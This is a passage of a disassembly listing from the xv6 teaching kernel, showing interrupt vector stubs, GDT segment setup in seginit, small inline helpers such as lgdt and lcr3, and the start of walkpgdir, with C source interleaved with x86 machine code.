80107515: e9 2e f1 ff ff jmp 80106648 <alltraps>
8010751a <vector216>:
.globl vector216
vector216:
pushl $0
8010751a: 6a 00 push $0x0
pushl $216
8010751c: 68 d8 00 00 00 push $0xd8
jmp alltraps
80107521: e9 22 f1 ff ff jmp 80106648 <alltraps>
80107526 <vector217>:
.globl vector217
vector217:
pushl $0
80107526: 6a 00 push $0x0
pushl $217
80107528: 68 d9 00 00 00 push $0xd9
jmp alltraps
8010752d: e9 16 f1 ff ff jmp 80106648 <alltraps>
80107532 <vector218>:
.globl vector218
vector218:
pushl $0
80107532: 6a 00 push $0x0
pushl $218
80107534: 68 da 00 00 00 push $0xda
jmp alltraps
80107539: e9 0a f1 ff ff jmp 80106648 <alltraps>
8010753e <vector219>:
.globl vector219
vector219:
pushl $0
8010753e: 6a 00 push $0x0
pushl $219
80107540: 68 db 00 00 00 push $0xdb
jmp alltraps
80107545: e9 fe f0 ff ff jmp 80106648 <alltraps>
8010754a <vector220>:
.globl vector220
vector220:
pushl $0
8010754a: 6a 00 push $0x0
pushl $220
8010754c: 68 dc 00 00 00 push $0xdc
jmp alltraps
80107551: e9 f2 f0 ff ff jmp 80106648 <alltraps>
80107556 <vector221>:
.globl vector221
vector221:
pushl $0
80107556: 6a 00 push $0x0
pushl $221
80107558: 68 dd 00 00 00 push $0xdd
jmp alltraps
8010755d: e9 e6 f0 ff ff jmp 80106648 <alltraps>
80107562 <vector222>:
.globl vector222
vector222:
pushl $0
80107562: 6a 00 push $0x0
pushl $222
80107564: 68 de 00 00 00 push $0xde
jmp alltraps
80107569: e9 da f0 ff ff jmp 80106648 <alltraps>
8010756e <vector223>:
.globl vector223
vector223:
pushl $0
8010756e: 6a 00 push $0x0
pushl $223
80107570: 68 df 00 00 00 push $0xdf
jmp alltraps
80107575: e9 ce f0 ff ff jmp 80106648 <alltraps>
8010757a <vector224>:
.globl vector224
vector224:
pushl $0
8010757a: 6a 00 push $0x0
pushl $224
8010757c: 68 e0 00 00 00 push $0xe0
jmp alltraps
80107581: e9 c2 f0 ff ff jmp 80106648 <alltraps>
80107586 <vector225>:
.globl vector225
vector225:
pushl $0
80107586: 6a 00 push $0x0
pushl $225
80107588: 68 e1 00 00 00 push $0xe1
jmp alltraps
8010758d: e9 b6 f0 ff ff jmp 80106648 <alltraps>
80107592 <vector226>:
.globl vector226
vector226:
pushl $0
80107592: 6a 00 push $0x0
pushl $226
80107594: 68 e2 00 00 00 push $0xe2
jmp alltraps
80107599: e9 aa f0 ff ff jmp 80106648 <alltraps>
8010759e <vector227>:
.globl vector227
vector227:
pushl $0
8010759e: 6a 00 push $0x0
pushl $227
801075a0: 68 e3 00 00 00 push $0xe3
jmp alltraps
801075a5: e9 9e f0 ff ff jmp 80106648 <alltraps>
801075aa <vector228>:
.globl vector228
vector228:
pushl $0
801075aa: 6a 00 push $0x0
pushl $228
801075ac: 68 e4 00 00 00 push $0xe4
jmp alltraps
801075b1: e9 92 f0 ff ff jmp 80106648 <alltraps>
801075b6 <vector229>:
.globl vector229
vector229:
pushl $0
801075b6: 6a 00 push $0x0
pushl $229
801075b8: 68 e5 00 00 00 push $0xe5
jmp alltraps
801075bd: e9 86 f0 ff ff jmp 80106648 <alltraps>
801075c2 <vector230>:
.globl vector230
vector230:
pushl $0
801075c2: 6a 00 push $0x0
pushl $230
801075c4: 68 e6 00 00 00 push $0xe6
jmp alltraps
801075c9: e9 7a f0 ff ff jmp 80106648 <alltraps>
801075ce <vector231>:
.globl vector231
vector231:
pushl $0
801075ce: 6a 00 push $0x0
pushl $231
801075d0: 68 e7 00 00 00 push $0xe7
jmp alltraps
801075d5: e9 6e f0 ff ff jmp 80106648 <alltraps>
801075da <vector232>:
.globl vector232
vector232:
pushl $0
801075da: 6a 00 push $0x0
pushl $232
801075dc: 68 e8 00 00 00 push $0xe8
jmp alltraps
801075e1: e9 62 f0 ff ff jmp 80106648 <alltraps>
801075e6 <vector233>:
.globl vector233
vector233:
pushl $0
801075e6: 6a 00 push $0x0
pushl $233
801075e8: 68 e9 00 00 00 push $0xe9
jmp alltraps
801075ed: e9 56 f0 ff ff jmp 80106648 <alltraps>
801075f2 <vector234>:
.globl vector234
vector234:
pushl $0
801075f2: 6a 00 push $0x0
pushl $234
801075f4: 68 ea 00 00 00 push $0xea
jmp alltraps
801075f9: e9 4a f0 ff ff jmp 80106648 <alltraps>
801075fe <vector235>:
.globl vector235
vector235:
pushl $0
801075fe: 6a 00 push $0x0
pushl $235
80107600: 68 eb 00 00 00 push $0xeb
jmp alltraps
80107605: e9 3e f0 ff ff jmp 80106648 <alltraps>
8010760a <vector236>:
.globl vector236
vector236:
pushl $0
8010760a: 6a 00 push $0x0
pushl $236
8010760c: 68 ec 00 00 00 push $0xec
jmp alltraps
80107611: e9 32 f0 ff ff jmp 80106648 <alltraps>
80107616 <vector237>:
.globl vector237
vector237:
pushl $0
80107616: 6a 00 push $0x0
pushl $237
80107618: 68 ed 00 00 00 push $0xed
jmp alltraps
8010761d: e9 26 f0 ff ff jmp 80106648 <alltraps>
80107622 <vector238>:
.globl vector238
vector238:
pushl $0
80107622: 6a 00 push $0x0
pushl $238
80107624: 68 ee 00 00 00 push $0xee
jmp alltraps
80107629: e9 1a f0 ff ff jmp 80106648 <alltraps>
8010762e <vector239>:
.globl vector239
vector239:
pushl $0
8010762e: 6a 00 push $0x0
pushl $239
80107630: 68 ef 00 00 00 push $0xef
jmp alltraps
80107635: e9 0e f0 ff ff jmp 80106648 <alltraps>
8010763a <vector240>:
.globl vector240
vector240:
pushl $0
8010763a: 6a 00 push $0x0
pushl $240
8010763c: 68 f0 00 00 00 push $0xf0
jmp alltraps
80107641: e9 02 f0 ff ff jmp 80106648 <alltraps>
80107646 <vector241>:
.globl vector241
vector241:
pushl $0
80107646: 6a 00 push $0x0
pushl $241
80107648: 68 f1 00 00 00 push $0xf1
jmp alltraps
8010764d: e9 f6 ef ff ff jmp 80106648 <alltraps>
80107652 <vector242>:
.globl vector242
vector242:
pushl $0
80107652: 6a 00 push $0x0
pushl $242
80107654: 68 f2 00 00 00 push $0xf2
jmp alltraps
80107659: e9 ea ef ff ff jmp 80106648 <alltraps>
8010765e <vector243>:
.globl vector243
vector243:
pushl $0
8010765e: 6a 00 push $0x0
pushl $243
80107660: 68 f3 00 00 00 push $0xf3
jmp alltraps
80107665: e9 de ef ff ff jmp 80106648 <alltraps>
8010766a <vector244>:
.globl vector244
vector244:
pushl $0
8010766a: 6a 00 push $0x0
pushl $244
8010766c: 68 f4 00 00 00 push $0xf4
jmp alltraps
80107671: e9 d2 ef ff ff jmp 80106648 <alltraps>
80107676 <vector245>:
.globl vector245
vector245:
pushl $0
80107676: 6a 00 push $0x0
pushl $245
80107678: 68 f5 00 00 00 push $0xf5
jmp alltraps
8010767d: e9 c6 ef ff ff jmp 80106648 <alltraps>
80107682 <vector246>:
.globl vector246
vector246:
pushl $0
80107682: 6a 00 push $0x0
pushl $246
80107684: 68 f6 00 00 00 push $0xf6
jmp alltraps
80107689: e9 ba ef ff ff jmp 80106648 <alltraps>
8010768e <vector247>:
.globl vector247
vector247:
pushl $0
8010768e: 6a 00 push $0x0
pushl $247
80107690: 68 f7 00 00 00 push $0xf7
jmp alltraps
80107695: e9 ae ef ff ff jmp 80106648 <alltraps>
8010769a <vector248>:
.globl vector248
vector248:
pushl $0
8010769a: 6a 00 push $0x0
pushl $248
8010769c: 68 f8 00 00 00 push $0xf8
jmp alltraps
801076a1: e9 a2 ef ff ff jmp 80106648 <alltraps>
801076a6 <vector249>:
.globl vector249
vector249:
pushl $0
801076a6: 6a 00 push $0x0
pushl $249
801076a8: 68 f9 00 00 00 push $0xf9
jmp alltraps
801076ad: e9 96 ef ff ff jmp 80106648 <alltraps>
801076b2 <vector250>:
.globl vector250
vector250:
pushl $0
801076b2: 6a 00 push $0x0
pushl $250
801076b4: 68 fa 00 00 00 push $0xfa
jmp alltraps
801076b9: e9 8a ef ff ff jmp 80106648 <alltraps>
801076be <vector251>:
.globl vector251
vector251:
pushl $0
801076be: 6a 00 push $0x0
pushl $251
801076c0: 68 fb 00 00 00 push $0xfb
jmp alltraps
801076c5: e9 7e ef ff ff jmp 80106648 <alltraps>
801076ca <vector252>:
.globl vector252
vector252:
pushl $0
801076ca: 6a 00 push $0x0
pushl $252
801076cc: 68 fc 00 00 00 push $0xfc
jmp alltraps
801076d1: e9 72 ef ff ff jmp 80106648 <alltraps>
801076d6 <vector253>:
.globl vector253
vector253:
pushl $0
801076d6: 6a 00 push $0x0
pushl $253
801076d8: 68 fd 00 00 00 push $0xfd
jmp alltraps
801076dd: e9 66 ef ff ff jmp 80106648 <alltraps>
801076e2 <vector254>:
.globl vector254
vector254:
pushl $0
801076e2: 6a 00 push $0x0
pushl $254
801076e4: 68 fe 00 00 00 push $0xfe
jmp alltraps
801076e9: e9 5a ef ff ff jmp 80106648 <alltraps>
801076ee <vector255>:
.globl vector255
vector255:
pushl $0
801076ee: 6a 00 push $0x0
pushl $255
801076f0: 68 ff 00 00 00 push $0xff
jmp alltraps
801076f5: e9 4e ef ff ff jmp 80106648 <alltraps>
...
801076fc <lgdt>:
struct segdesc;
static inline void
lgdt(struct segdesc *p, int size)
{
801076fc: 55 push %ebp
801076fd: 89 e5 mov %esp,%ebp
801076ff: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
80107702: 8b 45 0c mov 0xc(%ebp),%eax
80107705: 48 dec %eax
80107706: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
8010770a: 8b 45 08 mov 0x8(%ebp),%eax
8010770d: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80107711: 8b 45 08 mov 0x8(%ebp),%eax
80107714: c1 e8 10 shr $0x10,%eax
80107717: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
8010771b: 8d 45 fa lea -0x6(%ebp),%eax
8010771e: 0f 01 10 lgdtl (%eax)
}
80107721: c9 leave
80107722: c3 ret
80107723 <ltr>:
asm volatile("lidt (%0)" : : "r" (pd));
}
static inline void
ltr(ushort sel)
{
80107723: 55 push %ebp
80107724: 89 e5 mov %esp,%ebp
80107726: 83 ec 04 sub $0x4,%esp
80107729: 8b 45 08 mov 0x8(%ebp),%eax
8010772c: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("ltr %0" : : "r" (sel));
80107730: 8b 45 fc mov -0x4(%ebp),%eax
80107733: 0f 00 d8 ltr %ax
}
80107736: c9 leave
80107737: c3 ret
80107738 <loadgs>:
return eflags;
}
static inline void
loadgs(ushort v)
{
80107738: 55 push %ebp
80107739: 89 e5 mov %esp,%ebp
8010773b: 83 ec 04 sub $0x4,%esp
8010773e: 8b 45 08 mov 0x8(%ebp),%eax
80107741: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("movw %0, %%gs" : : "r" (v));
80107745: 8b 45 fc mov -0x4(%ebp),%eax
80107748: 8e e8 mov %eax,%gs
}
8010774a: c9 leave
8010774b: c3 ret
8010774c <lcr3>:
return val;
}
static inline void
lcr3(uint val)
{
8010774c: 55 push %ebp
8010774d: 89 e5 mov %esp,%ebp
asm volatile("movl %0,%%cr3" : : "r" (val));
8010774f: 8b 45 08 mov 0x8(%ebp),%eax
80107752: 0f 22 d8 mov %eax,%cr3
}
80107755: 5d pop %ebp
80107756: c3 ret
80107757 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80107757: 55 push %ebp
80107758: 89 e5 mov %esp,%ebp
8010775a: 53 push %ebx
8010775b: 83 ec 24 sub $0x24,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
8010775e: e8 8e b7 ff ff call 80102ef1 <cpunum>
80107763: 89 c2 mov %eax,%edx
80107765: 89 d0 mov %edx,%eax
80107767: c1 e0 02 shl $0x2,%eax
8010776a: 01 d0 add %edx,%eax
8010776c: 01 c0 add %eax,%eax
8010776e: 01 d0 add %edx,%eax
80107770: 89 c1 mov %eax,%ecx
80107772: c1 e1 04 shl $0x4,%ecx
80107775: 01 c8 add %ecx,%eax
80107777: 01 d0 add %edx,%eax
80107779: 05 40 38 11 80 add $0x80113840,%eax
8010777e: 89 45 f4 mov %eax,-0xc(%ebp)
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80107781: 8b 45 f4 mov -0xc(%ebp),%eax
80107784: 66 c7 40 78 ff ff movw $0xffff,0x78(%eax)
8010778a: 8b 45 f4 mov -0xc(%ebp),%eax
8010778d: 66 c7 40 7a 00 00 movw $0x0,0x7a(%eax)
80107793: 8b 45 f4 mov -0xc(%ebp),%eax
80107796: c6 40 7c 00 movb $0x0,0x7c(%eax)
8010779a: 8b 45 f4 mov -0xc(%ebp),%eax
8010779d: 8a 50 7d mov 0x7d(%eax),%dl
801077a0: 83 e2 f0 and $0xfffffff0,%edx
801077a3: 83 ca 0a or $0xa,%edx
801077a6: 88 50 7d mov %dl,0x7d(%eax)
801077a9: 8b 45 f4 mov -0xc(%ebp),%eax
801077ac: 8a 50 7d mov 0x7d(%eax),%dl
801077af: 83 ca 10 or $0x10,%edx
801077b2: 88 50 7d mov %dl,0x7d(%eax)
801077b5: 8b 45 f4 mov -0xc(%ebp),%eax
801077b8: 8a 50 7d mov 0x7d(%eax),%dl
801077bb: 83 e2 9f and $0xffffff9f,%edx
801077be: 88 50 7d mov %dl,0x7d(%eax)
801077c1: 8b 45 f4 mov -0xc(%ebp),%eax
801077c4: 8a 50 7d mov 0x7d(%eax),%dl
801077c7: 83 ca 80 or $0xffffff80,%edx
801077ca: 88 50 7d mov %dl,0x7d(%eax)
801077cd: 8b 45 f4 mov -0xc(%ebp),%eax
801077d0: 8a 50 7e mov 0x7e(%eax),%dl
801077d3: 83 ca 0f or $0xf,%edx
801077d6: 88 50 7e mov %dl,0x7e(%eax)
801077d9: 8b 45 f4 mov -0xc(%ebp),%eax
801077dc: 8a 50 7e mov 0x7e(%eax),%dl
801077df: 83 e2 ef and $0xffffffef,%edx
801077e2: 88 50 7e mov %dl,0x7e(%eax)
801077e5: 8b 45 f4 mov -0xc(%ebp),%eax
801077e8: 8a 50 7e mov 0x7e(%eax),%dl
801077eb: 83 e2 df and $0xffffffdf,%edx
801077ee: 88 50 7e mov %dl,0x7e(%eax)
801077f1: 8b 45 f4 mov -0xc(%ebp),%eax
801077f4: 8a 50 7e mov 0x7e(%eax),%dl
801077f7: 83 ca 40 or $0x40,%edx
801077fa: 88 50 7e mov %dl,0x7e(%eax)
801077fd: 8b 45 f4 mov -0xc(%ebp),%eax
80107800: 8a 50 7e mov 0x7e(%eax),%dl
80107803: 83 ca 80 or $0xffffff80,%edx
80107806: 88 50 7e mov %dl,0x7e(%eax)
80107809: 8b 45 f4 mov -0xc(%ebp),%eax
8010780c: c6 40 7f 00 movb $0x0,0x7f(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80107810: 8b 45 f4 mov -0xc(%ebp),%eax
80107813: 66 c7 80 80 00 00 00 movw $0xffff,0x80(%eax)
8010781a: ff ff
8010781c: 8b 45 f4 mov -0xc(%ebp),%eax
8010781f: 66 c7 80 82 00 00 00 movw $0x0,0x82(%eax)
80107826: 00 00
80107828: 8b 45 f4 mov -0xc(%ebp),%eax
8010782b: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax)
80107832: 8b 45 f4 mov -0xc(%ebp),%eax
80107835: 8a 90 85 00 00 00 mov 0x85(%eax),%dl
8010783b: 83 e2 f0 and $0xfffffff0,%edx
8010783e: 83 ca 02 or $0x2,%edx
80107841: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107847: 8b 45 f4 mov -0xc(%ebp),%eax
8010784a: 8a 90 85 00 00 00 mov 0x85(%eax),%dl
80107850: 83 ca 10 or $0x10,%edx
80107853: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107859: 8b 45 f4 mov -0xc(%ebp),%eax
8010785c: 8a 90 85 00 00 00 mov 0x85(%eax),%dl
80107862: 83 e2 9f and $0xffffff9f,%edx
80107865: 88 90 85 00 00 00 mov %dl,0x85(%eax)
8010786b: 8b 45 f4 mov -0xc(%ebp),%eax
8010786e: 8a 90 85 00 00 00 mov 0x85(%eax),%dl
80107874: 83 ca 80 or $0xffffff80,%edx
80107877: 88 90 85 00 00 00 mov %dl,0x85(%eax)
8010787d: 8b 45 f4 mov -0xc(%ebp),%eax
80107880: 8a 90 86 00 00 00 mov 0x86(%eax),%dl
80107886: 83 ca 0f or $0xf,%edx
80107889: 88 90 86 00 00 00 mov %dl,0x86(%eax)
8010788f: 8b 45 f4 mov -0xc(%ebp),%eax
80107892: 8a 90 86 00 00 00 mov 0x86(%eax),%dl
80107898: 83 e2 ef and $0xffffffef,%edx
8010789b: 88 90 86 00 00 00 mov %dl,0x86(%eax)
801078a1: 8b 45 f4 mov -0xc(%ebp),%eax
801078a4: 8a 90 86 00 00 00 mov 0x86(%eax),%dl
801078aa: 83 e2 df and $0xffffffdf,%edx
801078ad: 88 90 86 00 00 00 mov %dl,0x86(%eax)
801078b3: 8b 45 f4 mov -0xc(%ebp),%eax
801078b6: 8a 90 86 00 00 00 mov 0x86(%eax),%dl
801078bc: 83 ca 40 or $0x40,%edx
801078bf: 88 90 86 00 00 00 mov %dl,0x86(%eax)
801078c5: 8b 45 f4 mov -0xc(%ebp),%eax
801078c8: 8a 90 86 00 00 00 mov 0x86(%eax),%dl
801078ce: 83 ca 80 or $0xffffff80,%edx
801078d1: 88 90 86 00 00 00 mov %dl,0x86(%eax)
801078d7: 8b 45 f4 mov -0xc(%ebp),%eax
801078da: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801078e1: 8b 45 f4 mov -0xc(%ebp),%eax
801078e4: 66 c7 80 90 00 00 00 movw $0xffff,0x90(%eax)
801078eb: ff ff
801078ed: 8b 45 f4 mov -0xc(%ebp),%eax
801078f0: 66 c7 80 92 00 00 00 movw $0x0,0x92(%eax)
801078f7: 00 00
801078f9: 8b 45 f4 mov -0xc(%ebp),%eax
801078fc: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax)
80107903: 8b 45 f4 mov -0xc(%ebp),%eax
80107906: 8a 90 95 00 00 00 mov 0x95(%eax),%dl
8010790c: 83 e2 f0 and $0xfffffff0,%edx
8010790f: 83 ca 0a or $0xa,%edx
80107912: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107918: 8b 45 f4 mov -0xc(%ebp),%eax
8010791b: 8a 90 95 00 00 00 mov 0x95(%eax),%dl
80107921: 83 ca 10 or $0x10,%edx
80107924: 88 90 95 00 00 00 mov %dl,0x95(%eax)
8010792a: 8b 45 f4 mov -0xc(%ebp),%eax
8010792d: 8a 90 95 00 00 00 mov 0x95(%eax),%dl
80107933: 83 ca 60 or $0x60,%edx
80107936: 88 90 95 00 00 00 mov %dl,0x95(%eax)
8010793c: 8b 45 f4 mov -0xc(%ebp),%eax
8010793f: 8a 90 95 00 00 00 mov 0x95(%eax),%dl
80107945: 83 ca 80 or $0xffffff80,%edx
80107948: 88 90 95 00 00 00 mov %dl,0x95(%eax)
8010794e: 8b 45 f4 mov -0xc(%ebp),%eax
80107951: 8a 90 96 00 00 00 mov 0x96(%eax),%dl
80107957: 83 ca 0f or $0xf,%edx
8010795a: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107960: 8b 45 f4 mov -0xc(%ebp),%eax
80107963: 8a 90 96 00 00 00 mov 0x96(%eax),%dl
80107969: 83 e2 ef and $0xffffffef,%edx
8010796c: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107972: 8b 45 f4 mov -0xc(%ebp),%eax
80107975: 8a 90 96 00 00 00 mov 0x96(%eax),%dl
8010797b: 83 e2 df and $0xffffffdf,%edx
8010797e: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107984: 8b 45 f4 mov -0xc(%ebp),%eax
80107987: 8a 90 96 00 00 00 mov 0x96(%eax),%dl
8010798d: 83 ca 40 or $0x40,%edx
80107990: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107996: 8b 45 f4 mov -0xc(%ebp),%eax
80107999: 8a 90 96 00 00 00 mov 0x96(%eax),%dl
8010799f: 83 ca 80 or $0xffffff80,%edx
801079a2: 88 90 96 00 00 00 mov %dl,0x96(%eax)
801079a8: 8b 45 f4 mov -0xc(%ebp),%eax
801079ab: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
801079b2: 8b 45 f4 mov -0xc(%ebp),%eax
801079b5: 66 c7 80 98 00 00 00 movw $0xffff,0x98(%eax)
801079bc: ff ff
801079be: 8b 45 f4 mov -0xc(%ebp),%eax
801079c1: 66 c7 80 9a 00 00 00 movw $0x0,0x9a(%eax)
801079c8: 00 00
801079ca: 8b 45 f4 mov -0xc(%ebp),%eax
801079cd: c6 80 9c 00 00 00 00 movb $0x0,0x9c(%eax)
801079d4: 8b 45 f4 mov -0xc(%ebp),%eax
801079d7: 8a 90 9d 00 00 00 mov 0x9d(%eax),%dl
801079dd: 83 e2 f0 and $0xfffffff0,%edx
801079e0: 83 ca 02 or $0x2,%edx
801079e3: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
801079e9: 8b 45 f4 mov -0xc(%ebp),%eax
801079ec: 8a 90 9d 00 00 00 mov 0x9d(%eax),%dl
801079f2: 83 ca 10 or $0x10,%edx
801079f5: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
801079fb: 8b 45 f4 mov -0xc(%ebp),%eax
801079fe: 8a 90 9d 00 00 00 mov 0x9d(%eax),%dl
80107a04: 83 ca 60 or $0x60,%edx
80107a07: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107a0d: 8b 45 f4 mov -0xc(%ebp),%eax
80107a10: 8a 90 9d 00 00 00 mov 0x9d(%eax),%dl
80107a16: 83 ca 80 or $0xffffff80,%edx
80107a19: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107a1f: 8b 45 f4 mov -0xc(%ebp),%eax
80107a22: 8a 90 9e 00 00 00 mov 0x9e(%eax),%dl
80107a28: 83 ca 0f or $0xf,%edx
80107a2b: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107a31: 8b 45 f4 mov -0xc(%ebp),%eax
80107a34: 8a 90 9e 00 00 00 mov 0x9e(%eax),%dl
80107a3a: 83 e2 ef and $0xffffffef,%edx
80107a3d: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107a43: 8b 45 f4 mov -0xc(%ebp),%eax
80107a46: 8a 90 9e 00 00 00 mov 0x9e(%eax),%dl
80107a4c: 83 e2 df and $0xffffffdf,%edx
80107a4f: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107a55: 8b 45 f4 mov -0xc(%ebp),%eax
80107a58: 8a 90 9e 00 00 00 mov 0x9e(%eax),%dl
80107a5e: 83 ca 40 or $0x40,%edx
80107a61: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107a67: 8b 45 f4 mov -0xc(%ebp),%eax
80107a6a: 8a 90 9e 00 00 00 mov 0x9e(%eax),%dl
80107a70: 83 ca 80 or $0xffffff80,%edx
80107a73: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107a79: 8b 45 f4 mov -0xc(%ebp),%eax
80107a7c: c6 80 9f 00 00 00 00 movb $0x0,0x9f(%eax)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80107a83: 8b 45 f4 mov -0xc(%ebp),%eax
80107a86: 05 b4 00 00 00 add $0xb4,%eax
80107a8b: 8b 55 f4 mov -0xc(%ebp),%edx
80107a8e: 81 c2 b4 00 00 00 add $0xb4,%edx
80107a94: c1 ea 10 shr $0x10,%edx
80107a97: 88 d1 mov %dl,%cl
80107a99: 8b 55 f4 mov -0xc(%ebp),%edx
80107a9c: 81 c2 b4 00 00 00 add $0xb4,%edx
80107aa2: c1 ea 18 shr $0x18,%edx
80107aa5: 8b 5d f4 mov -0xc(%ebp),%ebx
80107aa8: 66 c7 83 88 00 00 00 movw $0x0,0x88(%ebx)
80107aaf: 00 00
80107ab1: 8b 5d f4 mov -0xc(%ebp),%ebx
80107ab4: 66 89 83 8a 00 00 00 mov %ax,0x8a(%ebx)
80107abb: 8b 45 f4 mov -0xc(%ebp),%eax
80107abe: 88 88 8c 00 00 00 mov %cl,0x8c(%eax)
80107ac4: 8b 45 f4 mov -0xc(%ebp),%eax
80107ac7: 8a 88 8d 00 00 00 mov 0x8d(%eax),%cl
80107acd: 83 e1 f0 and $0xfffffff0,%ecx
80107ad0: 83 c9 02 or $0x2,%ecx
80107ad3: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107ad9: 8b 45 f4 mov -0xc(%ebp),%eax
80107adc: 8a 88 8d 00 00 00 mov 0x8d(%eax),%cl
80107ae2: 83 c9 10 or $0x10,%ecx
80107ae5: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107aeb: 8b 45 f4 mov -0xc(%ebp),%eax
80107aee: 8a 88 8d 00 00 00 mov 0x8d(%eax),%cl
80107af4: 83 e1 9f and $0xffffff9f,%ecx
80107af7: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107afd: 8b 45 f4 mov -0xc(%ebp),%eax
80107b00: 8a 88 8d 00 00 00 mov 0x8d(%eax),%cl
80107b06: 83 c9 80 or $0xffffff80,%ecx
80107b09: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107b0f: 8b 45 f4 mov -0xc(%ebp),%eax
80107b12: 8a 88 8e 00 00 00 mov 0x8e(%eax),%cl
80107b18: 83 e1 f0 and $0xfffffff0,%ecx
80107b1b: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107b21: 8b 45 f4 mov -0xc(%ebp),%eax
80107b24: 8a 88 8e 00 00 00 mov 0x8e(%eax),%cl
80107b2a: 83 e1 ef and $0xffffffef,%ecx
80107b2d: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107b33: 8b 45 f4 mov -0xc(%ebp),%eax
80107b36: 8a 88 8e 00 00 00 mov 0x8e(%eax),%cl
80107b3c: 83 e1 df and $0xffffffdf,%ecx
80107b3f: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107b45: 8b 45 f4 mov -0xc(%ebp),%eax
80107b48: 8a 88 8e 00 00 00 mov 0x8e(%eax),%cl
80107b4e: 83 c9 40 or $0x40,%ecx
80107b51: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107b57: 8b 45 f4 mov -0xc(%ebp),%eax
80107b5a: 8a 88 8e 00 00 00 mov 0x8e(%eax),%cl
80107b60: 83 c9 80 or $0xffffff80,%ecx
80107b63: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107b69: 8b 45 f4 mov -0xc(%ebp),%eax
80107b6c: 88 90 8f 00 00 00 mov %dl,0x8f(%eax)
lgdt(c->gdt, sizeof(c->gdt));
80107b72: 8b 45 f4 mov -0xc(%ebp),%eax
80107b75: 83 c0 70 add $0x70,%eax
80107b78: c7 44 24 04 38 00 00 movl $0x38,0x4(%esp)
80107b7f: 00
80107b80: 89 04 24 mov %eax,(%esp)
80107b83: e8 74 fb ff ff call 801076fc <lgdt>
loadgs(SEG_KCPU << 3);
80107b88: c7 04 24 18 00 00 00 movl $0x18,(%esp)
80107b8f: e8 a4 fb ff ff call 80107738 <loadgs>
// Initialize cpu-local storage.
cpu = c;
80107b94: 8b 45 f4 mov -0xc(%ebp),%eax
80107b97: 65 a3 00 00 00 00 mov %eax,%gs:0x0
proc = 0;
80107b9d: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80107ba4: 00 00 00 00
}
80107ba8: 83 c4 24 add $0x24,%esp
80107bab: 5b pop %ebx
80107bac: 5d pop %ebp
80107bad: c3 ret
80107bae <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80107bae: 55 push %ebp
80107baf: 89 e5 mov %esp,%ebp
80107bb1: 83 ec 28 sub $0x28,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80107bb4: 8b 45 0c mov 0xc(%ebp),%eax
80107bb7: c1 e8 16 shr $0x16,%eax
80107bba: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80107bc1: 8b 45 08 mov 0x8(%ebp),%eax
80107bc4: 01 d0 add %edx,%eax
80107bc6: 89 45 f0 mov %eax,-0x10(%ebp)
if(*pde & PTE_P){
80107bc9: 8b 45 f0 mov -0x10(%ebp),%eax
80107bcc: 8b 00 mov (%eax),%eax
80107bce: 83 e0 01 and $0x1,%eax
80107bd1: 85 c0 test %eax,%eax
80107bd3: 74 14 je 80107be9 <walkpgdir+0x3b>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
80107bd5: 8b 45 f0 mov -0x10(%ebp),%eax
80107bd8: 8b 00 mov (%eax),%eax
80107bda: 25 00 f0 ff ff and $0xfffff000,%eax
80107bdf: 05 00 00 00 80 add $0x80000000,%eax
80107be4: 89 45 f4 mov %eax,-0xc(%ebp)
80107be7: eb 48 jmp 80107c31 <walkpgdir+0x83>
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
